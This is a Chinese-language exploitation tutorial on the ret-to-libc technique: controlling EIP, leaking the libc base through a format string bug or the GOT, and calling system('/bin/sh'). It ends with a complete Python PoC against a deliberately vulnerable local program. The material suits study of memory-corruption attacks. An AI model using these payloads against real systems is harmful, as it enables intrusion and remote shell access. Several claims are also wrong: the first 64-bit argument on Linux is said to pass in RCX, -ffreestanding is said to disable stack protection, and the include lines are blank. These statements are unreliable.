在0day攻击当中有许多的技巧,这次介绍一种常用的攻击手段。ret to libc与栈溢出,堆溢出之类的漏洞利用技巧有所不同。ret to libc是一种在漏洞攻击中的常用的思路。目的是最大化利用所发现的漏洞,实现我们最终的目标get shell
首先,我们来认识一个c语言的库函数
int system(const char * string);
这个函数的的功能很简单,执行一条shell命令。而ret to libc目标很简单,就是用我们指定的参数执行这一函数。当然想要执行什么命令就要看具体情况了,最通用的就是执行/bin/sh命令,这样我们就可以远程打开一个终端。然后嘛(→_→)我就不知道了。
其实ret to libc还有一个老大哥,就是shellcode。不过随着计算机安全防护技术的发展,shellcode已经渐渐的失去了用武之地。
PS:此处利用环境是linux下。windows下略有不同
ret to libc这种攻击方法需要三个前置的条件,只有三个条件同时满足才能成功
我们第一件要做的事情就是要控制EIP。至于如何控制就要看具体的情况了。
这里介绍几个常用可以控制EIP的方法。
1.函数返回地址
最常见的控制EIP的地方,函数调用的时候都会将返回地址放在栈中,如果修改这个值,就以控制程序跳转到我们需要的地方。最常见的修改返回地址的方法就是用栈溢出覆盖,当然还有许许多多脑洞大开的方法。
2.got表
got表也是一个经常利用来控制EIP的地方,可以查阅一下 –> 延迟绑定技术
其实很简单,我们所有对c库函数的调用,都是通过一些指向函数的指针来完成的,这些指向函数的指针放在一起,就是一个got表。比如got表中有一个指向free函数的指针。我们把它指向的地址改成了指向system,那么所有调用free的函数就都变成了调用system
3.c++虚函数表指针
在c++的虚函数指针会存放在对象内存的第一个位置。如果能够改写它的位置,使它指向我们所设计“虚函数表”。然后调用虚函数,程序就会跳转到我们想要的地方了。
当然,还有一个方法就是直接修改实例指针,也可以实现这一点,当然指针的指针的指针这种c/c++特产是少不了了。
篡改实例指针 –> 伪造的虚函数指针 –> 伪造的虚函数表 –> system函数
4.指向函数的指针
这个就多了去了,具体情况具体分析吧。
讲了这么多跳转到system函数的方法。但是必须要知道system函数的地址才能够跳转。然而system函数到底在哪里?
一般system函数会与所有的c库函数一起通过libc加载到程序中(linux下)。(所以叫ret to libc)每个c语言程序都可以调用system函数。而system函数在libc中的位置是固定的。objdump或者ida直接找到就可以了。关键的问题是我们不知道libc在加载到程序中后,它的基地址是多少。每次程序运行时,libc的基础地址会变动。要解决的问题就是leak(泄露)基地址。一旦得到基地址,就可以用 “基地址 + system在libc中地址”计算出system的真实地址。至于怎么leak基地址,那就要各显神通了。只要能够定位一个库函数的具体地址,就可以通过“函数地址 - 函数在libc中地址”反向计算出基地址
当然,这是在libc已知的情况下,如果不知道对方的libc版本,那么就需要leak出2个位于libc中的函数的地址,通过2个地址的差来确定libc的版本。
这里提供几个常见的方法。
1.栈帧中
恩,在栈中有一个这样的地址。
.text:08048350 public _start
.text:08048350 _start proc near
.text:08048350 xor ebp, ebp
.text:08048352 pop esi
.text:08048353 mov ecx, esp
.text:08048355 and esp, 0FFFFFFF0h
.text:08048358 push eax
.text:08048359 push esp
.text:0804835A push edx
.text:0804835B push offset __libc_csu_fini
.text:08048360 push offset __libc_csu_init
.text:08048365 push ecx
.text:08048366 push esi
.text:08048367 push offset main
.text:0804836C call libc_start_main
.text:08048371 hlt
.text:08048371 _start endp
仔细看这个每个程序中都有的启动函数start,它先调用了libc_start_main这个处于libc中的函数,然后由这个函数调用c程序的main函数的。所以maim函数的返回地址是指向libc的,只要leak出它的地址,然后在libc_start_main中找到相应的调用位置,就可以得到libc的基地址了。
2.got表中
既然在got表中有指向库函数的指针,那么只要能够leak出got表中的数据,计算出libc加载的基地址也就不难了。
3.爆破
libc加载的基地址虽然会随机变化,但是基本上随机性不大,如果有时间也可以选择暴力破解的方法,几天也就出来了。
32位的操作系统,函数的参数会用栈传递。如果是64位的操作系统,则会使用RCX寄存器来传递第一个参数。我们要做的就是在我们调用system函数的时候,栈中的指针或者是RCX的参数需要指向/bin/sh字符串。至于/bin/sh字符串,在libc中就存在,当然也可以自己构造,根据实际情况来确定。
这要有了以上的3个条件,就可以实现
system(“/bin/sh”);
这样的函数调用,从而获得对计算机的控制权,也就是get shell
说了这么多。实践才是王道。我们真正的拿个shell来试试。
首先是代码
#include
#include
void a(void)
{
char a[5];
gets(a);
printf(a);
putchar('\n');
}
int main(void)
{
a();
return 0;
}
这里我编译时使用了-ffreestanding
参数来关闭栈溢出保护。
gcc -ffreestanding test.c -o test
PS:这个程序如果真实的部署在服务器上会有问题,不是通常的socket程序的编写方式,不过这次使用本地测试,所以就偷懒了一点。
这个程序栈溢出和格式化字符串漏洞两者皆有,所以非常容易就可以拿到shell。
控制EIP,这个简单,直接使用栈溢出搞定。
‘a’*17 + sys_addr + ‘a’*4 + bin_addr
使用这样的输入就可以控制到EIP,只要找出system函数的地址和/bin/sh的地址填入sys_addr和bin_addr就可以拿到shell
然后是leak基地址。因为格式化字符串漏洞,所以我们leak在栈中的返回地址。分析2进制文件后使用
‘%f’*9 + ‘,%08x’
逗号后面的%x就会输出main函数的返回地址ret_main.
因为是本地测试,所以找到自己机器的libc中对应的system和/bin/sh还有call_main的地址。找到如下
libc_call_main = 0x00019A63
libc_sys_addr = 0x0003FCD0
libc_bin_addt = 0x0015DA84
可以计算出基地址了。
但是这里有一个问题,就是这个程序只会执行一次。但是我们需要先leak基地址再控制EIP两步。所以我们需要一种特殊的控制EIP技巧
最后的攻击思路是这样的
首先
‘%f’*8 + ‘a’ + ret_addr + ‘%f,%8x’
这里我们把leak基地址的步骤和控制EIP结合python在了一起。当然这时我们不知道基地址,所以无法直接跳转到system。这里的ret_addr我们填入的是调用a函数的那一条代码的地址。只要这样,a函数就会再运行一次。然后就可以使用
‘c’*17 + sys_addr + ‘c’*4 + bin_addr
现在就可以拿到shell了。
下面是完整的poc代码
#! /usr/bin/python
from zio import *
libc_call_main = 0x00019A63
libc_sys_addr = 0x0003FCD0
libc_bin_addt = 0x0015DA84
ret_addr = 0x080484bf
io = zio('./test') #因为是本地,所以填入的是路径
io.writeline('%f'*8 + 'a' + l32(ret_addr) + '%f,%8x')
io.read_until(',')
base_addr = int(io.read(8),16) - libc_call_main
sys_addr = base_addr + libc_sys_addr
bin_addr = base_addr + libc_bin_addt
io.writeline('c'*17 + l32(sys_addr) + 'c'*4 + l32(bin_addr) + 'cc')
io.readline()
print 'now I get shell'
print '*****************************************'
io.interact()
这里我使用了蓝莲花的黑科技产品zio.py这个python包。相当好用。最后的结果